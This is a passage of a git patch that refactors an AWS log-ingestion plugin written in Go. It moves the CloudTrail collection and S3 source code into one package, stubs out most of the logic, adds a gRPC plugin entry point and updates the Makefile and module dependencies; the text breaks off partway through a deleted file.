From 4ebc77a8ddf9c3988d31f218bd277b447ce609c8 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 19 Jun 2024 15:49:27 +0100 Subject: [PATCH 001/180] compiles with dev version of sdk --- Makefile | 22 +- .../aws_cloudtrail_log_collection.go | 225 +++++++----------- aws/aws_cloudtrail_log_collection_test.go | 11 + aws/aws_s3_bucket_source.go | 151 ++++++++++++ aws/aws_s3_bucket_source_test.go | 12 + aws/plugin.go | 37 +++ aws/plugin_test.go | 12 + {collection => aws}/types.go | 2 +- collection/aws_cloudtrail_log_test.go | 11 - go.mod | 32 ++- go.sum | 48 ---- main.go | 13 +- plugin/plugin.go | 68 ------ plugin/plugin_test.go | 11 - source/aws_s3_bucket.go | 155 ------------ source/aws_s3_bucket_test.go | 11 - 16 files changed, 346 insertions(+), 475 deletions(-) rename collection/aws_cloudtrail_log.go => aws/aws_cloudtrail_log_collection.go (74%) create mode 100644 aws/aws_cloudtrail_log_collection_test.go create mode 100644 aws/aws_s3_bucket_source.go create mode 100644 aws/aws_s3_bucket_source_test.go create mode 100644 aws/plugin.go create mode 100644 aws/plugin_test.go rename {collection => aws}/types.go (97%) delete mode 100644 collection/aws_cloudtrail_log_test.go delete mode 100644 go.sum delete mode 100644 plugin/plugin.go delete mode 100644 plugin/plugin_test.go delete mode 100644 source/aws_s3_bucket.go delete mode 100644 source/aws_s3_bucket_test.go diff --git a/Makefile b/Makefile index b2a7280a..b828abf3 100644 --- a/Makefile +++ b/Makefile @@ -1,29 +1,20 @@ # Paths -PLUGIN_NAME=tailpipe-plugin-aws.so +PLUGIN_NAME=tailpipe-plugin-aws.plugin PLUGIN_DIR=~/.tailpipe/plugins -# Build flags -PROD_FLAGS=-buildmode=plugin -DEV_FLAGS=-buildmode=plugin -gcflags='all=-N -l' - # Build in development mode by default .PHONY: default -default: dev-install +default: install # Production build, optimized .PHONY: build build: - go build $(PROD_FLAGS) -o $(PLUGIN_NAME) . - -# Development build, removes optimizations to allow debugging -.PHONY: dev -dev: - go build $(DEV_FLAGS) -o $(PLUGIN_NAME) . + go build -o $(PLUGIN_NAME) . # Install the development build -.PHONY: dev-install -dev-install: dev - cp $(PLUGIN_NAME) $(PLUGIN_DIR) +.PHONY: install +install: build + mv $(PLUGIN_NAME) $(PLUGIN_DIR) # Run tests .PHONY: test @@ -34,3 +25,4 @@ test: .PHONY: clean clean: rm -f $(PLUGIN_NAME) + diff --git a/collection/aws_cloudtrail_log.go b/aws/aws_cloudtrail_log_collection.go similarity index 74% rename from collection/aws_cloudtrail_log.go rename to aws/aws_cloudtrail_log_collection.go index e56686ea..d17ba8cc 100644 --- a/collection/aws_cloudtrail_log.go +++ b/aws/aws_cloudtrail_log_collection.go @@ -1,139 +1,98 @@ -package collection +package aws import ( - "compress/gzip" "context" - "encoding/json" - "os" - "strings" - "sync" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-sdk/collection" - sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - "github.com/turbot/tailpipe-plugin-sdk/source" - - "github.com/turbot/tailpipe-plugin-aws/util" + //"github.com/turbot/tailpipe-plugin-sdk/collection" + //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" + //"github.com/turbot/tailpipe-plugin-sdk/source" ) type AwsCloudTrailLogCollectionConfig struct{} type AwsCloudTrailLogCollection struct { Config AwsCloudTrailLogCollectionConfig - - ctx context.Context - - // observers is a list of observers that will be notified of events. - observers []collection.CollectionObserver - observersMutex sync.RWMutex } func (c *AwsCloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } -func (c *AwsCloudTrailLogCollection) Init(ctx context.Context) error { - c.ctx = ctx - return nil -} - -func (c *AwsCloudTrailLogCollection) Context() context.Context { - return c.ctx -} - -func (c *AwsCloudTrailLogCollection) AddObserver(observer collection.CollectionObserver) { - c.observersMutex.Lock() - defer c.observersMutex.Unlock() - c.observers = append(c.observers, observer) -} - -func (c *AwsCloudTrailLogCollection) RemoveObserver(observer collection.CollectionObserver) { - c.observersMutex.Lock() - defer c.observersMutex.Unlock() - for i, o := range c.observers { - if o == observer { - c.observers = append(c.observers[:i], c.observers[i+1:]...) - break - } - } -} - -func (c *AwsCloudTrailLogCollection) LoadConfig(configRaw []byte) error { - return sdkconfig.Load(configRaw, &c.Config) -} - -func (c *AwsCloudTrailLogCollection) ValidateConfig() error { - return nil -} - -func (c *AwsCloudTrailLogCollection) Schema() collection.Row { - return &AWSCloudTrail{} -} - -func (c *AwsCloudTrailLogCollection) ExtractArtifactRows(ctx context.Context, a *source.Artifact) error { - - inputPath := a.Name - - gzFile, err := os.Open(inputPath) - if err != nil { - return err - } - defer gzFile.Close() - - gzReader, err := gzip.NewReader(gzFile) - if err != nil { - return err - } - defer gzReader.Close() - - var log AWSCloudTrailBatch - if err := json.NewDecoder(gzReader).Decode(&log); err != nil { - return err - } - - for _, record := range log.Records { - - // Record standardization - record.TpID = xid.New().String() - record.TpSourceType = "aws_cloudtrail_log" - record.TpTimestamp = record.EventTime - record.TpSourceLocation = &inputPath - record.TpIngestTimestamp = UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - if record.SourceIPAddress != nil { - record.TpSourceIP = record.SourceIPAddress - record.TpIps = append(record.TpIps, *record.SourceIPAddress) - } - for _, resource := range record.Resources { - if resource.ARN != nil { - newAkas := util.AwsAkasFromArn(*resource.ARN) - record.TpAkas = append(record.TpAkas, newAkas...) - } - } - // If it's an AKIA, then record that as an identity. Do not record ASIA* - // keys etc. - if record.UserIdentity.AccessKeyId != nil { - if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) - } - } - if record.UserIdentity.UserName != nil { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) - } - - // Hive fields - record.TpCollection = "default" // TODO - should be based on the definition in HCL - record.TpConnection = record.RecipientAccountId - record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) - record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) - record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) - - //c.Collection.NotifyRow(a, &record) - for _, o := range c.observers { - o.NotifyRow(a, &record) - } - - } +//func (c *AwsCloudTrailLogCollection) LoadConfig(configRaw []byte) error { +// return sdkconfig.Load(configRaw, &c.Config) +//} +// +//func (c *AwsCloudTrailLogCollection) ValidateConfig() error { +// return nil +//} +// +//func (c *AwsCloudTrailLogCollection) Schema() collection.Row { +// return &AWSCloudTrail{} +//} + +func (c *AwsCloudTrailLogCollection) ExtractArtifactRows(ctx context.Context, a any /**source.Artifact*/) error { + + // TODO implement + //inputPath := a.Name + // + //gzFile, err := os.Open(inputPath) + //if err != nil { + // return err + //} + //defer gzFile.Close() + // + //gzReader, err := gzip.NewReader(gzFile) + //if err != nil { + // return err + //} + //defer gzReader.Close() + // + //var log AWSCloudTrailBatch + //if err := json.NewDecoder(gzReader).Decode(&log); err != nil { + // return err + //} + // + //for _, record := range log.Records { + // + // // Record standardization + // record.TpID = xid.New().String() + // record.TpSourceType = "aws_cloudtrail_log" + // record.TpTimestamp = record.EventTime + // record.TpSourceLocation = &inputPath + // record.TpIngestTimestamp = UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + // if record.SourceIPAddress != nil { + // record.TpSourceIP = record.SourceIPAddress + // record.TpIps = append(record.TpIps, *record.SourceIPAddress) + // } + // for _, resource := range record.Resources { + // if resource.ARN != nil { + // newAkas := util.AwsAkasFromArn(*resource.ARN) + // record.TpAkas = append(record.TpAkas, newAkas...) + // } + // } + // // If it's an AKIA, then record that as an identity. Do not record ASIA* + // // keys etc. + // if record.UserIdentity.AccessKeyId != nil { + // if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { + // record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) + // } + // } + // if record.UserIdentity.UserName != nil { + // record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) + // } + // + // // Hive fields + // record.TpCollection = "default" // TODO - should be based on the definition in HCL + // record.TpConnection = record.RecipientAccountId + // record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) + // record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) + // record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) + // + // //c.Collection.NotifyRow(a, &record) + // for _, o := range c.observers { + // o.NotifyRow(a, &record) + // } + // + //} return nil @@ -203,30 +162,6 @@ type AWSCloudTrail struct { TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details, type=STRUCT"` } -func (a *AWSCloudTrail) GetTpID() string { - return a.TpID -} - -func (a *AWSCloudTrail) GetTpTimestamp() int64 { - return int64(a.TpTimestamp) -} - -func (a *AWSCloudTrail) GetConnection() string { - return a.TpConnection -} - -func (a *AWSCloudTrail) GetYear() int { - return int(a.TpYear) -} - -func (a *AWSCloudTrail) GetMonth() int { - return int(a.TpMonth) -} - -func (a *AWSCloudTrail) GetDay() int { - return int(a.TpDay) -} - type UserIdentity struct { Type string `json:"type" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` diff --git a/aws/aws_cloudtrail_log_collection_test.go b/aws/aws_cloudtrail_log_collection_test.go new file mode 100644 index 00000000..5dbeb67c --- /dev/null +++ b/aws/aws_cloudtrail_log_collection_test.go @@ -0,0 +1,11 @@ +package aws + +//import ( +// "testing" +// +// "github.com/turbot/tailpipe-plugin-sdk/collection" +//) +// +//func TestConformance(t *testing.T) { +// collection.RunConformanceTests(t, &AwsCloudTrailLogCollection{}) +//} diff --git a/aws/aws_s3_bucket_source.go b/aws/aws_s3_bucket_source.go new file mode 100644 index 00000000..b8369106 --- /dev/null +++ b/aws/aws_s3_bucket_source.go @@ -0,0 +1,151 @@ +package aws + +import ( + "context" + "errors" + "fmt" + "strings" + //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" + //"github.com/turbot/tailpipe-plugin-sdk/source" +) + +type AwsS3BucketSourceConfig struct { + Bucket string `json:"bucket"` + Extensions []string `json:"extensions"` +} + +type AwsS3BucketSource struct { + Config AwsS3BucketSourceConfig + + //ctx context.Context + //observers []source.SourceObserver + //observersMutex sync.RWMutex +} + +func (s *AwsS3BucketSource) Identifier() string { + return "aws_s3_bucket" +} + +//func (s *AwsS3BucketSource) Init(ctx context.Context) error { +// s.ctx = ctx +// return s.Validate() +//} +// +//func (s *AwsS3BucketSource) Context() context.Context { +// return s.ctx +//} +// +//func (s *AwsS3BucketSource) Validate() error { +// return nil +//} + +//func (s *AwsS3BucketSource) AddObserver(observer source.SourceObserver) { +// s.observersMutex.Lock() +// defer s.observersMutex.Unlock() +// s.observers = append(s.observers, observer) +//} +// +//func (s *AwsS3BucketSource) RemoveObserver(observer source.SourceObserver) { +// s.observersMutex.Lock() +// defer s.observersMutex.Unlock() +// for i, o := range s.observers { +// if o == observer { +// s.observers = append(s.observers[:i], s.observers[i+1:]...) +// break +// } +// } +//} +// +//func (s *AwsS3BucketSource) LoadConfig(configRaw []byte) error { +// return sdkconfig.Load(configRaw, &s.Config) +//} + +func (s *AwsS3BucketSource) ValidateConfig() error { + if s.Config.Bucket == "" { + return errors.New("bucket is required") + } + + // Check the bucket exists + // TODO + /* + _, err := os.Stat(s.Config.Path) + if err != nil { + return err + } + */ + + // Check format of extensions + invalidExtensions := []string{} + for _, e := range s.Config.Extensions { + if len(e) == 0 { + invalidExtensions = append(invalidExtensions, "") + } else if e[0] != '.' { + invalidExtensions = append(invalidExtensions, e) + } + } + if len(invalidExtensions) > 0 { + return fmt.Errorf("invalid extensions: %s", strings.Join(invalidExtensions, ",")) + } + + return nil +} + +func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { + // TODO implement + // + //cfg, err := config.LoadDefaultConfig(ctx) + //if err != nil { + // return fmt.Errorf("unable to load SDK config, %w", err) + //} + // + //s3Client := s3.NewFromConfig(cfg) + //paginator := s3.NewListObjectsV2Paginator(s3Client, &s3.ListObjectsV2Input{ + // Bucket: &s.Config.Bucket, + //}) + // + //for paginator.HasMorePages() { + // output, err := paginator.NextPage(ctx) + // if err != nil { + // return fmt.Errorf("failed to get page, %w", err) + // } + // + // for _, object := range output.Contents { + // if util.IsValidExtension(*object.Key, s.Config.Extensions) { + // for _, observer := range s.observers { + // observer.NotifyArtifactDiscovered(&source.ArtifactInfo{Name: *object.Key}) + // } + // } + // } + //} + + return nil +} + +func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, ai any /**source.ArtifactInfo*/) error { + //TODO implement + //cfg, err := config.LoadDefaultConfig(ctx) + //if err != nil { + // return fmt.Errorf("unable to load SDK config, %w", err) + //} + // + //s3Client := s3.NewFromConfig(cfg) + //getObjectOutput, err := s3Client.GetObject(ctx, &s3.GetObjectInput{ + // Bucket: &s.Config.Bucket, + // Key: &ai.Name, + //}) + //if err != nil { + // return fmt.Errorf("failed to download artifact, %w", err) + //} + //defer getObjectOutput.Body.Close() + // + //data, err := io.ReadAll(getObjectOutput.Body) + //if err != nil { + // return fmt.Errorf("failed to read artifact data, %w", err) + //} + // + //for _, observer := range s.observers { + // observer.NotifyArtifactDownloaded(&source.Artifact{ArtifactInfo: *ai, Data: data}) + //} + + return nil +} diff --git a/aws/aws_s3_bucket_source_test.go b/aws/aws_s3_bucket_source_test.go new file mode 100644 index 00000000..e85eb826 --- /dev/null +++ b/aws/aws_s3_bucket_source_test.go @@ -0,0 +1,12 @@ +package aws + +// +//import ( +// "testing" +// +// "github.com/turbot/tailpipe-plugin-sdk/source" +//) +// +//func TestConformance(t *testing.T) { +// source.RunConformanceTests(t, &AwsS3BucketSource{}) +//} diff --git a/aws/plugin.go b/aws/plugin.go new file mode 100644 index 00000000..fc24ad25 --- /dev/null +++ b/aws/plugin.go @@ -0,0 +1,37 @@ +package aws + +import ( + "context" + "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "log" +) + +type Plugin struct { + plugin.Base +} + +func (t *Plugin) Identifier() string { + return "aws" +} + +func NewPlugin(_ context.Context) *Plugin { + return &Plugin{} +} + +func (t *Plugin) Collect(req *proto.CollectRequest) error { + log.Println("[INFO] Collect") + + go t.doCollect(req) + + return nil +} + +func (t *Plugin) doCollect(req *proto.CollectRequest) { + + // started hook + t.OnStarted(req) + + // completion hook + t.OnComplete(req, nil) +} diff --git a/aws/plugin_test.go b/aws/plugin_test.go new file mode 100644 index 00000000..001d88a9 --- /dev/null +++ b/aws/plugin_test.go @@ -0,0 +1,12 @@ +package aws + +// +//import ( +// "testing" +// +// "github.com/turbot/tailpipe-plugin-sdk/plugin" +//) +// +//func TestConformance(t *testing.T) { +// plugin.RunConformanceTests(t, &Plugin{}) +//} diff --git a/collection/types.go b/aws/types.go similarity index 97% rename from collection/types.go rename to aws/types.go index d87cb4a9..b86431e6 100644 --- a/collection/types.go +++ b/aws/types.go @@ -1,4 +1,4 @@ -package collection +package aws import ( "encoding/json" diff --git a/collection/aws_cloudtrail_log_test.go b/collection/aws_cloudtrail_log_test.go deleted file mode 100644 index 99646d55..00000000 --- a/collection/aws_cloudtrail_log_test.go +++ /dev/null @@ -1,11 +0,0 @@ -package collection - -import ( - "testing" - - "github.com/turbot/tailpipe-plugin-sdk/collection" -) - -func TestConformance(t *testing.T) { - collection.RunConformanceTests(t, &AwsCloudTrailLogCollection{}) -} diff --git a/go.mod b/go.mod index 6fe5deb3..d02d3154 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,8 @@ module github.com/turbot/tailpipe-plugin-aws -go 1.22.0 +go 1.22.2 + +toolchain go1.22.3 replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk @@ -11,6 +13,7 @@ require ( ) require ( + github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/aws/aws-sdk-go-v2 v1.26.0 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1 // indirect github.com/aws/aws-sdk-go-v2/credentials v1.17.9 // indirect @@ -27,12 +30,25 @@ require ( github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.28.5 // indirect github.com/aws/smithy-go v1.20.1 // indirect - github.com/stretchr/testify v1.9.0 // indirect + github.com/fatih/color v1.7.0 // indirect + github.com/golang/protobuf v1.5.4 // indirect + github.com/google/go-cmp v0.6.0 // indirect + github.com/hashicorp/go-hclog v0.14.1 // indirect + github.com/hashicorp/go-plugin v1.6.1 // indirect + github.com/hashicorp/yamux v0.1.1 // indirect + github.com/mattn/go-colorable v0.1.4 // indirect + github.com/mattn/go-isatty v0.0.10 // indirect + github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77 // indirect + github.com/oklog/run v1.0.0 // indirect + github.com/tkrajina/go-reflector v0.5.6 // indirect + github.com/turbot/go-kit v0.9.0 // indirect + golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 // indirect + golang.org/x/net v0.22.0 // indirect + golang.org/x/sys v0.18.0 // indirect + golang.org/x/text v0.14.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 // indirect + google.golang.org/grpc v1.64.0 // indirect + google.golang.org/protobuf v1.34.2 // indirect ) -require ( - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/rs/xid v1.5.0 - gopkg.in/yaml.v3 v3.0.1 // indirect -) +require github.com/rs/xid v1.5.0 diff --git a/go.sum b/go.sum deleted file mode 100644 index 72c0866f..00000000 --- a/go.sum +++ /dev/null @@ -1,48 +0,0 @@ -github.com/aws/aws-sdk-go-v2 v1.26.0 h1:/Ce4OCiM3EkpW7Y+xUnfAFpchU78K7/Ug01sZni9PgA= -github.com/aws/aws-sdk-go-v2 v1.26.0/go.mod h1:35hUlJVYd+M++iLI3ALmVwMOyRYMmRqUXpTtRGW+K9I= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1 h1:gTK2uhtAPtFcdRRJilZPx8uJLL2J85xK11nKtWL0wfU= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1/go.mod h1:sxpLb+nZk7tIfCWChfd+h4QwHNUR57d8hA1cleTkjJo= -github.com/aws/aws-sdk-go-v2/config v1.27.9 h1:gRx/NwpNEFSk+yQlgmk1bmxxvQ5TyJ76CWXs9XScTqg= -github.com/aws/aws-sdk-go-v2/config v1.27.9/go.mod h1:dK1FQfpwpql83kbD873E9vz4FyAxuJtR22wzoXn3qq0= -github.com/aws/aws-sdk-go-v2/credentials v1.17.9 h1:N8s0/7yW+h8qR8WaRlPQeJ6czVMNQVNtNdUqf6cItao= -github.com/aws/aws-sdk-go-v2/credentials v1.17.9/go.mod h1:446YhIdmSV0Jf/SLafGZalQo+xr2iw7/fzXGDPTU1yQ= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0 h1:af5YzcLf80tv4Em4jWVD75lpnOHSBkPUZxZfGkrI3HI= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0/go.mod h1:nQ3how7DMnFMWiU1SpECohgC82fpn4cKZ875NDMmwtA= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 h1:0ScVK/4qZ8CIW0k8jOeFVsyS/sAiXpYxRBLolMkuLQM= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4/go.mod h1:84KyjNZdHC6QZW08nfHI6yZgPd+qRgaWcYsyLUo3QY8= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 h1:sHmMWWX5E7guWEFQ9SVo6A3S4xpPrWnd77a6y4WM6PU= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4/go.mod h1:WjpDrhWisWOIoS9n3nk67A3Ll1vfULJ9Kq6h29HTD48= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4 h1:SIkD6T4zGQ+1YIit22wi37CGNkrE7mXV1vNA5VpI3TI= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4/go.mod h1:XfeqbsG0HNedNs0GT+ju4Bs+pFAwsrlzcRdMvdNVf5s= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 h1:EyBZibRTVAs6ECHZOw5/wlylS9OcTzwyjeQMudmREjE= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1/go.mod h1:JKpmtYhhPs7D97NL/ltqz7yCkERFW5dOlHyVl66ZYF8= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6 h1:NkHCgg0Ck86c5PTOzBZ0JRccI51suJDg5lgFtxBu1ek= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6/go.mod h1:mjTpxjC8v4SeINTngrnKFgm2QUi+Jm+etTbCxh8W4uU= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6 h1:b+E7zIUHMmcB4Dckjpkapoy47W6C9QBv/zoUP+Hn8Kc= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6/go.mod h1:S2fNV0rxrP78NhPbCZeQgY8H9jdDMeGtwcfZIRxzBqU= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4 h1:uDj2K47EM1reAYU9jVlQ1M5YENI1u6a/TxJpf6AeOLA= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4/go.mod h1:XKCODf4RKHppc96c2EZBGV/oCUC7OClxAo2MEyg4pIk= -github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0 h1:r3o2YsgW9zRcIP3Q0WCmttFVhTuugeKIvT5z9xDspc0= -github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0/go.mod h1:w2E4f8PUfNtyjfL6Iu+mWI96FGttE03z3UdNcUEC4tA= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.3 h1:mnbuWHOcM70/OFUlZZ5rcdfA8PflGXXiefU/O+1S3+8= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.3/go.mod h1:5HFu51Elk+4oRBZVxmHrSds5jFXmFj8C3w7DVF2gnrs= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3 h1:uLq0BKatTmDzWa/Nu4WO0M1AaQDaPpwTKAeByEc6WFM= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3/go.mod h1:b+qdhjnxj8GSR6t5YfphOffeoQSQ1KmpoVVuBn+PWxs= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.5 h1:J/PpTf/hllOjx8Xu9DMflff3FajfLxqM5+tepvVXmxg= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.5/go.mod h1:0ih0Z83YDH/QeQ6Ori2yGE2XvWYv/Xm+cZc01LC6oK0= -github.com/aws/smithy-go v1.20.1 h1:4SZlSlMr36UEqC7XOyRVb27XMeZubNcBNN+9IgEPIQw= -github.com/aws/smithy-go v1.20.1/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= -github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= -github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= -github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/main.go b/main.go index 06c11fa2..f222371c 100644 --- a/main.go +++ b/main.go @@ -1,5 +1,14 @@ package main -import "github.com/turbot/tailpipe-plugin-aws/plugin" +import ( + "context" + "github.com/turbot/tailpipe-plugin-aws/aws" + "github.com/turbot/tailpipe-plugin-sdk/plugin" +) -var Plugin plugin.AwsPlugin +func main() { + plugin.Serve(&plugin.ServeOpts{ + // TODO should we pass func, not object? For dynamic plugins? Will we have those? + Plugin: aws.NewPlugin(context.Background()), + }) +} diff --git a/plugin/plugin.go b/plugin/plugin.go deleted file mode 100644 index bfdf8620..00000000 --- a/plugin/plugin.go +++ /dev/null @@ -1,68 +0,0 @@ -package plugin - -import ( - "context" - "errors" - "sync" - - "github.com/turbot/tailpipe-plugin-aws/collection" - "github.com/turbot/tailpipe-plugin-aws/source" - - sdkcollection "github.com/turbot/tailpipe-plugin-sdk/collection" - "github.com/turbot/tailpipe-plugin-sdk/plugin" - sdksource "github.com/turbot/tailpipe-plugin-sdk/source" -) - -type AwsPlugin struct { - ctx context.Context - - // observers is a list of observers that will be notified of events. - observers []plugin.PluginObserver - observersMutex sync.RWMutex -} - -func (p *AwsPlugin) Identifier() string { - return "aws" -} - -func (p *AwsPlugin) Init(ctx context.Context) error { - p.ctx = ctx - return nil -} - -func (p *AwsPlugin) Context() context.Context { - return p.ctx -} - -func (p *AwsPlugin) Validate() error { - return errors.ErrUnsupported -} - -func (p *AwsPlugin) AddObserver(observer plugin.PluginObserver) { - p.observersMutex.Lock() - defer p.observersMutex.Unlock() - p.observers = append(p.observers, observer) -} - -func (p *AwsPlugin) RemoveObserver(observer plugin.PluginObserver) { - p.observersMutex.Lock() - defer p.observersMutex.Unlock() - for i, o := range p.observers { - if o == observer { - p.observers = append(p.observers[:i], p.observers[i+1:]...) - break - } - } -} - -func (p *AwsPlugin) Sources() map[string]sdksource.Plugin { - return map[string]sdksource.Plugin{ - "aws_s3_bucket": &source.AwsS3BucketSource{}, - } -} - -func (p *AwsPlugin) Collections() map[string]sdkcollection.Plugin { - return map[string]sdkcollection.Plugin{ - "aws_cloudtrail_log": &collection.AwsCloudTrailLogCollection{}, - } -} diff --git a/plugin/plugin_test.go b/plugin/plugin_test.go deleted file mode 100644 index 0d8e6568..00000000 --- a/plugin/plugin_test.go +++ /dev/null @@ -1,11 +0,0 @@ -package plugin - -import ( - "testing" - - "github.com/turbot/tailpipe-plugin-sdk/plugin" -) - -func TestConformance(t *testing.T) { - plugin.RunConformanceTests(t, &AwsPlugin{}) -} diff --git a/source/aws_s3_bucket.go b/source/aws_s3_bucket.go deleted file mode 100644 index 51bc6900..00000000 --- a/source/aws_s3_bucket.go +++ /dev/null @@ -1,155 +0,0 @@ -package source - -import ( - "context" - "errors" - "fmt" - "io" - "strings" - "sync" - - "github.com/aws/aws-sdk-go-v2/config" - "github.com/aws/aws-sdk-go-v2/service/s3" - sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - "github.com/turbot/tailpipe-plugin-sdk/source" - - "github.com/turbot/tailpipe-plugin-aws/util" -) - -type AwsS3BucketSourceConfig struct { - Bucket string `json:"bucket"` - Extensions []string `json:"extensions"` -} - -type AwsS3BucketSource struct { - Config AwsS3BucketSourceConfig - - ctx context.Context - observers []source.SourceObserver - observersMutex sync.RWMutex -} - -func (s *AwsS3BucketSource) Identifier() string { - return "aws_s3_bucket" -} - -func (s *AwsS3BucketSource) Init(ctx context.Context) error { - s.ctx = ctx - return s.Validate() -} - -func (s *AwsS3BucketSource) Context() context.Context { - return s.ctx -} - -func (s *AwsS3BucketSource) Validate() error { - return nil -} - -func (s *AwsS3BucketSource) AddObserver(observer source.SourceObserver) { - s.observersMutex.Lock() - defer s.observersMutex.Unlock() - s.observers = append(s.observers, observer) -} - -func (s *AwsS3BucketSource) RemoveObserver(observer source.SourceObserver) { - s.observersMutex.Lock() - defer s.observersMutex.Unlock() - for i, o := range s.observers { - if o == observer { - s.observers = append(s.observers[:i], s.observers[i+1:]...) - break - } - } -} - -func (s *AwsS3BucketSource) LoadConfig(configRaw []byte) error { - return sdkconfig.Load(configRaw, &s.Config) -} - -func (s *AwsS3BucketSource) ValidateConfig() error { - if s.Config.Bucket == "" { - return errors.New("bucket is required") - } - - // Check the bucket exists - // TODO - /* - _, err := os.Stat(s.Config.Path) - if err != nil { - return err - } - 